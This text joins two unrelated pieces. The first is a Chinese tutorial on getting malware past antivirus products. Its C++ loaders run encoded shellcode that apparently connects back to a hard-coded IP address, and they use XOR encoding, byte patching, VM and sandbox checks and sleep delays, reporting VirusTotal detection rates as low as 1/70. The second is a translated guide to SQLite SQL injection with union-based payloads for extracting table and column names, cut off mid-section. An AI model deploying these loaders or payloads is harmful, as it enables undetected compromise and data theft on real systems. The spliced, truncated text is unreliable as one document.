21\x63\xf7\x63\xcc\x86\xd4\xdd\x1c\xae\x41\x9d\xd7\xb2\xc9\x51\x5d\x1c\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x34\x37\x2e\x32\x34\x34\x2e\x33\x2e\x31\x37\x36\x00\x12\x34\x56\x78";
unsigned char code1[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b";
unsigned char code2[] = "";
//unsigned char code2[] = "\x00\x00\x00\x00\x00\x00\xff\xff\x00\xff\xff\x00";
UINT shellcodeSize = sizeof shellcode;
fackto(shellcode, code1, 13);
//2.Get shellcode memory
pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
LPVOID Memory = fnVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
fackto(Memory, shellcode, shellcodeSize);
//3.Execute shellcode
((void(*)())Memory)();
return 0;
}
### 查杀效果 10/70
## Test6 字符替换2
### 原理
Tets5中我们替换了shellcode前面的一串字符，现在我们把shellcode最后面一些字符去除掉，然后通过memcpy函数还原。
### 代码
#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积
#endif
#include "stdafx.h"
#include "windows.h"
#include <iostream>
using namespace std;
typedef LPVOID(WINAPI* pfnVirtualAlloc)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
//自定义VirtualAlloc、memcpy函数名
LPVOID fAV(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
void* fackto(void* str1, const void* str2, size_t n)
{
return memcpy(str1, str2, n);
}
int main(int argc, char** argv)
{
unsigned char shellcode[] = "\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\xe8\x00\x00\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x5d\x98\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x68\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x77\x4c\x58\x41\x00\x0f\x62\x83\xaf\x4a\x3f\x70\x88\xaf\x12\x74\xcf\x44\xef\x27\x40\xf1\xf9\xb9\xbe\x29\x9a\xf5\xf4\x4a\xd6\x0d\x02\x5d\x63\xa6\x60\x8d\xdb\xef\x58\x95\xd4\xc3\x7d\xe8\x8d\x45\x15\x63\xcd\x5e\x83\xce\xdd\x63\x2f\x27\x4a\x41\x57\xc8\xaf\x8e\xc3\xdb\x9f\x30\xfe\x31\x92\x18\xa9\xc3\xee\xa6\x18\x1e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x32\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x6b\x31\xd3\x4a\xd2\x68\xaf\x91\xbc\x9e\xb9\x2f\x5a\x9e\xba\xc9\xe5\xf3\x20\x91\xf5\xf8\x80\x28\xe8\x5a\xe8\xfb\x44\xd8\x31\xa2\xb5\xc4\xc0\x28\xba\x33\x63\x9c\x14\xdc\x5d\x1c\xd0\x93\x7c\xf8\xbc\xf1\xd2\xad\x94\xee\x38\xeb\xc8\xde\x36\xf9\x37\xea\xaa\x82\xd0\x39\x25\x47\x67\xa2\x32\xbe\x59\x60\xdf\xcb\x72\x6c\x2d\x04\x87\x88\x70\x4f\x33\x98\x11\x0e\xc3\xad\xfb\x7d\x5c\x3d\xb7\x51\x08\x2c\x54\x93\xcd\x55\xba\x91\x09\x8c\x51\x74\xae\xae\x50\x95\xc9\x30\x98\xda\xd0\x81\x2e\x1e\xee\x7b\x02\xab\x9d\x60\x33\xd8\x40\x36\xd0\x08\x9f\x52\x87\x2f\xd0\x41\x16\xdd\x7a\xba\x48\x45\xbc\xbc\xaa\xd3\x6b\x98\x4f\x7e\xb1\xf0\xbe\x6d\x62\x32\x6d\xe7\xab\xe5\x3f\xac\x51\x99\x13\x9b\xf1\x61\x3b\x10\x1b\x5c\xae\x38\x42\x76\x6e\x7b\xc8\x22\xb0\x3a\x28\x04\xeb\x21\x63\xf7\x63\xcc\x86\xd4\xdd\x1c\xae\x41\x9d\xd7\xb2\xc9\x51\x5d\x1c\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x34\x37\x2e\x32\x34\x34\x2e\x33\x2e\x31\x37\x36";
unsigned char code1[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b";
//unsigned char code2[] = "\x33\x2e\x31\x37\x36\x00\x12\x34\x56\x78";
unsigned char code2[] = "\x00\x12\x34\x64\x8b";
//unsigned char code2[] = "\x00\x00\x00\x00\x00\x00\xff\xff\x00\xff\xff\x00";
UINT shellcodeSize = sizeof shellcode;
fackto(shellcode, code1, 13);
fackto(shellcode + 831, code2, 5);
//2.Get shellcode memory
pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
LPVOID Memory = fnVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
fackto(Memory, shellcode, shellcodeSize);
//3.Execute shellcode
((void(*)())Memory)();
return 0;
}
### 查杀效果 11/71
我笑了emmmm。
## Test 7 替换资源
### 原理
正常的程序都有图标或者版本之类的，我们可以通过替换资源的方式来尝试绕过某些杀软。
### 查杀效果 9/71
正如VT上显示的，我们又绕过了两家杀软。
## Test8 xor异或加解密
### 原理
对shellcode进行xor异或加密，然后函数解密回来看看杀软效果。
### 代码
#ifdef _MSC_VER
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积
#endif
#include "stdafx.h"
#include "windows.h"
#include <iostream>
using namespace std;
typedef LPVOID(WINAPI* pfnVirtualAlloc)(_In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
//自定义VirtualAlloc、memcpy函数名
LPVOID fAV(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
return VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}
void* fackto(void* str1, const void* str2, size_t n)
{
return memcpy(str1, str2, n);
}
int main(int argc, char** argv)
{
unsigned char shellcode[] = "\xf6\xe2\x83\xa\xa\xa\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x6\x81\x58\x1e\x81\x78\x22\x5\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x8\x26\x2a\xcb\xc5\x7\xb\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\xb\xda\x81\x4a\x72\x8f\xca\x7e\x40\xb\xda\x5a\x81\x42\x12\x81\x52\x2a\xb\xd9\xe9\x36\x43\x81\x3e\x81\xb\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x7\xb\xcd\x32\xea\x7f\xfe\x9\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\xb\xd9\x6c\x81\x6\x41\x81\x52\x16\xb\xd9\x81\xe\x81\xb\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\xa\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\xd\xf5\xdf\xe2\xa\xa\xa\xa\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\xae\xa\xa\xa\x51\x3b\xc3\x5b\x5b\x60\x9\x5b\x5b\x62\x57\x92\xa\xa\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\x5a\xe3\x86\xa\xa\xa\x51\x3b\xd8\x58\x62\xa\x38\xca\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x62\x8a\x39\xa\xa\x83\xea\x60\xe\x5a\x60\x15\x5c\x62\x7f\x4c\x94\x8c\xf5\xdf\x55\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\xc\x12\x71\xf5\xdf\x8f\xca\x5\x8e\xc0\xb\xa\xa\x3b\xf5\x8f\xfc\x7e\xe\x83\xf3\xe1\x3\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\xd\x5b\x5c\x5a\x62\xbd\x5d\xea\x1\xf5\xdf\xb5\xa\x25\xa\xa\x33\xcd\x7f\xd\x52\x5a\xe3\x71\xf5\xf5\xf5\x3b\xf5\xe3\x9b\xb\xa\xa\xe3\xc3\xb\xa\xa\xe2\x65\xf5\xf5\xf5\x25\x7d\x46\x52\x4b\xa\x5\x68\x89\xa5\x40\x35\x7a\x82\xa5\x18\x7e\xc5\x4e\xe5\x2d\x4a\xfb\xf3\xb3\xb4\x23\x90\xff\xfe\x40\xdc\x7\x8\x57\x69\xac\x6a\x87\xd1\xe5\x52\x9f\xde\xc9\x77\xe2\x87\x4f\x1f\x69\xc7\x54\x89\xc4\xd7\x69\x25\x2d\x40\x4b\x5d\xc2\xa5\x84\xc9\xd1\x95\x3a\xf4\x3b\x98\x12\xa3\xc9\xe4\xac\x12\x14\xa\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3e\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x32\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3f\x24\x38\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3e\x24\x3a\x31\x2a\x24\x44\x4f\x5e\x2a\x49\x46\x58\x2a\x38\x24\x3a\x24\x3f\x3a\x3d\x38\x3d\x23\x7\x0\xa\x61\x3b\xd9\x40\xd8\x62\xa5\x9b\xb6\x94\xb3\x25\x50\x94\xb0\xc3\xef\xf9\x2a\x9b\xff\xf2\x8a\x22\xe2\x50\xe2\xf1\x4e\xd2\x3b\xa8\xbf\xce\xca\x22\xb0\x39\x69\x96\x1e\xd6\x57\x16\xda\x99\x76\xf2\xb6\xfb\xd8\xa7\x9e\xe4\x32\xe1\xc2\xd4\x3c\xf3\x3d\xe0\xa0\x88\xda\x33\x2f\x4d\x6d\xa8\x38\xb4\x53\x6a\xd5\xc1\x78\x66\x27\xe\x8d\x82\x7a\x45\x39\x92\x1b\x4\xc9\xa7\xf1\x77\x56\x37\xbd\x5b\x2\x26\x5e\x99\xc7\x5f\xb0\x9b\x3\x86\x5b\x7e\xa4\xa4\x5a\x9f\xc3\x3a\x92\xd0\xda\x8b\x24\x14\xe4\x71\x8\xa1\x97\x6a\x39\xd2\x4a\x3c\xda\x2\x95\x58\x8d\x25\xda\x4b\x1c\xd7\x70\xb0\x42\x4f\xb6\xb6\xa0\xd9\x61\x92\x45\x74\xbb\xfa\xb4\x67\x68\x38\x67\xed\xa1\xef\x35\xa6\x5b\x93\x19\x91\xfb\x6b\x31\x1a\x11\x56\xa4\x32\x48\x7c\x64\x71\xc2\x28\xba\x30\x22\xe\xe1\x2b\x69\xfd\x69\xc6\x8c\xde\xd7\x16\xa4\x4b\x97\xdd\xb8\xc3\x5b\x57\x16\xa\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\xa\x1a\xa\xa\x62\xa\xa\x4a\xa\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\xa\xa\xa\xa\xb\xd3\x5b\x59\x83\xed\x5d\x62\xa\x2a\xa\xa\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\xd\xb\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\x83\xf7\xf5\xf5\x3e\x3d\x24\x38\x3e\x3e\x24\x39\x24\x3b\x3d\x3c\xa\x18\x3e\x5c\x72";
for (int i = 0; i <= sizeof(shellcode); i++) {
shellcode[i] ^= 10;
}
UINT shellcodeSize = sizeof shellcode;
//2.Get shellcode memory
pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
LPVOID Memory = fnVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
fackto(Memory, shellcode, shellcodeSize);
//3.Execute shellcode
((void(*)())Memory)();
return 0;
}
### 查杀效果 19/69
不太行，但卡巴斯基竟然过了，离谱
## Test9 xor+memcpy
### 原理
既然一种方法不行，咱们就搞两种，这种方法也是我前段时间一直在用的方法，当时测试某60某绒某defend都是过的。
## Test10 硬件检测+xor
### 原理
一般的电脑现在都是最少4G内存了，硬盘最少都是200G的，CPU核心数都是2个以上，而反观虚拟机上的大部分都是分配个双核，2G内存，100G硬盘左右
### 代码
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
int main()
{
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);//获取系统信息
DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors;
if (NumberOfProcessors < 2)
{
return 0;
}
//std::cout << NumberOfProcessors<<std::endl;
// check RAM
MEMORYSTATUSEX MemoryStatus;
MemoryStatus.dwLength = sizeof(MemoryStatus);
GlobalMemoryStatusEx(&MemoryStatus);
DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024;
//std::cout << RAMMB << std::endl;
if (RAMMB < 2048)
{
return 0;
}
// check HDD
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
//std::cout << diskSizeGB << std::endl;
if (diskSizeGB < 100)
{
return 0;
}
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */
unsigned char buf[] = "\xf6\x42\x89\xee\xfa\xe2\xc2\xa\xa\xa\x4b\x5b\x4b\x5a\x58\x5b\x5c\x42\x3b\xd8\x6f\x42\x81\x58\x6a\x42\x81\x58\x12\x42\x81\x58\x2a\x42\x81\x78\x5a\x42\x5\xbd\x40\x40\x47\x3b\xc3\x42\x3b\xca\xa6\x36\x6b\x76\x8\x26\x2a\x4b\xcb\xc3\x7\x4b\xb\xcb\xe8\xe7\x58\x4b\x5b\x42\x81\x58\x2a\x81\x48\x36\x42\xb\xda\x6c\x8b\x72\x12\x1\x8\x7f\x78\x81\x8a\x82\xa\xa\xa\x42\x8f\xca\x7e\x6d\x42\xb\xda\x5a\x81\x42\x12\x4e\x81\x4a\x2a\x43\xb\xda\xe9\x5c\x42\xf5\xc3\x4b\x81\x3e\x82\x42\xb\xdc\x47\x3b\xc3\x42\x3b\xca\xa6\x4b\xcb\xc3\x7\x4b\xb\xcb\x32\xea\x7f\xfb\x46\x9\x46\x2e\x2\x4f\x33\xdb\x7f\xd2\x52\x4e\x81\x4a\x2e\x43\xb\xda\x6c\x4b\x81\x6\x42\x4e\x81\x4a\x16\x43\xb\xda\x4b\x81\xe\x82\x42\xb\xda\x4b\x52\x4b\x52\x54\x53\x50\x4b\x52\x4b\x53\x4b\x50\x42\x89\xe6\x2a\x4b\x58\xf5\xea\x52\x4b\x53\x50\x42\x81\x18\xe3\x45\xf5\xf5\xf5\x57\x60\xa\x43\xb4\x7d\x63\x64\x63\x64\x6f\x7e\xa\x4b\x5c\x43\x83\xec\x46\x83\xfb\x4b\xb0\x46\x7d\x2c\xd\xf5\xdf\x42\x3b\xc3\x42\x3b\xd8\x47\x3b\xca\x47\x3b\xc3\x4b\x5a\x4b\x5a\x4b\xb0\x30\x5c\x73\xad\xf5\xdf\xe3\x99\xa\xa\xa\x50\x42\x83\xcb\x4b\xb2\x57\x92\xa\xa\x47\x3b\xc3\x4b\x5b\x4b\x5b\x60\x9\x4b\x5b\x4b\xb0\x5d\x83\x95\xcc\xf5\xdf\xe1\x73\x51\x42\x83\xcb\x42\x3b\xd8\x43\x83\xd2\x47\x3b\xc3\x58\x62\xa\x38\xca\x8e\x58\x58\x4b\xb0\xe1\x5f\x24\x31\xf5\xdf\x42\x83\xcc\x42\x89\xc9\x5a\x60\x0\x55\x42\x83\xfb\xb0\x15\xa\xa\xa\x60\xa\x62\x8a\x39\xa\xa\x43\x83\xea\x4b\xb3\xe\xa\xa\xa\x4b\xb0\x7f\x4c\x94\x8c\xf5\xdf\x42\x83\xfb\x42\x83\xd0\x43\xcd\xca\xf5\xf5\xf5\xf5\x47\x3b\xc3\x58\x58\x4b\xb0\x27\xc\x12\x71\xf5\xdf\x8f\xca\x5\x8f\x97\xb\xa\xa\x42\xf5\xc5\x5\x8e\x86\xb\xa\xa\xe1\xb9\xe3\xee\xb\xa\xa\xe2\x88\xf5\xf5\xf5\x25\x70\x6b\x3b\x5b\xa\x3e\xdf\x39\xd3\x46\x4b\x22\xcd\xf6\x5e\xb4\x35\x1e\xbe\x84\x43\xa5\xd9\x51\x9d\x9b\xd5\xee\xb7\xed\x84\x1f\xf8\x64\xd9\x44\xd8\x9b\x80\x5e\xf6\xd8\xdf\x10\x1e\xc5\x2f\x0\x67\xb6\x9\xa\xc8\xb7\x75\x37\x90\xc1\xd0\x88\x3b\x26\x48\x73\x5e\x5c\xb5\x3c\x79\xc6\xdf\x51\x3f\xc6\x74\x41\xb0\xd7\xa\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5d\x45\x5d\x3c\x3e\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x44\x5a\x3a\x3c\x23\x7\x0\xa\x90\xa9\xc\x5\x12\xe5\x1e\x69\x24\x6f\xab\xde\x6\x6e\x65\xfa\xdb\x62\x87\x86\xfe\x2e\x28\xfd\xcd\x83\xed\x4\x9a\x9c\x7d\xe4\x31\x44\x70\x6a\xcb\x52\xd2\x9c\x8c\x7\x59\x8d\xf7\x22\xc0\xfb\x2a\xf1\x63\x8d\xaf\x4c\xbf\xb4\x5c\xa6\x85\xa4\xf4\x4a\xed\xf4\xb6\xa7\x5\x2d\x72\x66\xe\x40\x57\xd6\xa7\x62\xf7\x80\x81\x3c\x15\x3d\x76\x8\xf3\xe0\x14\x77\xfe\x8a\x3e\x21\xfc\xb5\x2b\xa5\x3\x3\x1e\xef\x8\xed\xc6\xe4\x6a\x8b\xac\xb7\x7\x78\x5d\x49\xfd\x69\xf4\x85\xec\x43\x35\x20\x75\x5b\x7c\xeb\xe6\xb4\x71\x8d\xe6\x83\xb5\x1d\x27\x5c\xa0\x9e\x3d\xf7\xf6\xd1\x7a\x4e\xad\x43\x6c\x1b\x8a\xb2\x92\x56\xb0\x30\xe0\xa2\x3a\xec\x4e\x46\x0\x75\x6d\x3c\xe4\xb4\xc5\x2b\x23\x44\x96\x4b\x71\x4d\x49\xbe\xa1\x46\x3b\x2b\x76\xac\x7d\xff\x64\x3d\xc7\x10\x99\x3f\x92\x5f\xa4\xb5\xea\xdf\x2a\xf\x4d\xf4\x12\x42\xe2\xfe\x8d\xb2\x8d\xa6\x22\xb5\x31\xc5\x3e\x76\xa\x4b\xb4\xfa\xbf\xa8\x5c\xf5\xdf\x42\x3b\xc3\xb0\xa\xa\x4a\xa\x4b\xb2\xa\x1a\xa\xa\x4b\xb3\x4a\xa\xa\xa\x4b\xb0\x52\xae\x59\xef\xf5\xdf\x42\x99\x59\x59\x42\x83\xed\x42\x83\xfb\x42\x83\xd0\x4b\xb2\xa\x2a\xa\xa\x43\x83\xf3\x4b\xb0\x18\x9c\x83\xe8\xf5\xdf\x42\x89\xce\x2a\x8f\xca\x7e\xbc\x6c\x81\xd\x42\xb\xc9\x8f\xca\x7f\xdd\x52\x52\x52\x42\xf\xa\xa\xa\xa\x5a\xc9\xe2\x75\xf7\xf5\xf5\x3e\x3d\x24\x38\x3e\x3e\x24\x39\x24\x3b\x3d\x3c\xa\x18\x3e\x5c\x72";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
//原来的属性是PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
// 等待几秒，兴许可以跳过某些沙盒呢？
Sleep(2000);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}
加载执行方式使用的是倾旋大佬的恶意静态代码逃逸中的代码。
### 查杀效果 1/70
下面这个为加了签名和替换资源的查杀结果 | 社区文章 |
# 【技术分享】基于SQLite数据库的Web应用程序注入指南
|
##### 译文声明
本文是翻译文章，文章来源：exploit-db.com
原文地址：<https://www.exploit-db.com/docs/41397.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[scriptkid](http://bobao.360.cn/member/contribute?uid=2529059652)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**概述**
SQL注入又称hacking之母，是造成网络世界巨大损失而臭名昭著的漏洞之一，研究人员已经发布了许多关于不同SQL服务的不同攻击技巧相关文章。对于MSSQL,MySQL和ORACLE数据库来说，SQL注入的payload一抓一大把，你可以在web应用中利用SQL注入漏洞进行攻击，如果其中任何一种数据库被用来作为后端数据库。SQLite就比较不那么出名了，因此相关的SQL注入payload就比较少，如果你想攻击后端数据库为SQLite的，那你就得去学习SQLite相关功能，然后构造出你自己的payload。因此，本文中我们将探讨两种关于SQLite的SQL注入攻击技巧。
1、基于联合查询的SQL注入（数字型或字符型）
2、SQL盲注
**实验环境**
为了实现基于SQLite的SQL注入，我们需要以下环境：
1、web服务器（这里是apache）
2、PHP环境
3、使用SQLite数据库的存在漏洞的web应用，这里有一个我自己开发的[应用](https://github.com/incredibleindishell/sqlite-lab)
测试应用包里包含PHP代码和SQLite数据库(ica-lab.db).数据库共有两个表单：Info和Users
**实施攻击**
**1、基于联合查询的SQL注入**
基于联合查询的SQL注入并不难，SQL查询直接去数据库中获取表名以及列名。让我们来试试基于联合查询的SQL注入(数字型)，注入点：
[http://127.0.0.1/sqlite-lab/index.php?snumber=1](http://127.0.0.1/sqlite-lab/index.php?snumber=1)
在尝试order by子句后，我们可以发现列数为5，Inject URL：
http://127.0.0.1/sqlite-lab/index.php?snumber=1 union select 1,2,3,4,5--
列2，3，4的数据在web页面上被打印出来了，因此我们需要利用这三个列的其中一个或多个。
**获取表名**
在SQLite中，为了猜解表名我们需要运行以下查询：
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
在漏洞应用程序里，如果我们构造像以下这样的链接，web应用将会在2这个位置显示所有表名：
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(tbl_name),3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
为了让表名单独显示，我们可以使用带offset的limit子句，就像这样：
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,tbl_name,3,4,5 FROM sqlite_master where type='table' and tbl_name NOT like 'sqlite_%'' limit 2 offset 1
limit后面接的数字是为了获取行数，而offest后面接的数字则为第一次返回结果中的删除数。在上述查询中，limit提取了两个表名，然后哦第一个被offset删除掉，所以我们获得了第二个表名。类似的，为了获取第三个表名，只需要改变limit和offset为3跟2即可，即limit
3 offset 2.
**获取列名**
对于获取列名来说，同样有个简单的SQL查询来从指定表中获取列名。
union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name='table_name'
只要把上述查询中的table_name替换为你想要获取列名的相应表的表名即可，在本例中，我想获取info表的列名：
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='info'
**获取“干净”列名的payload**
用以下payload来替代'sql',其余的payload保持不变
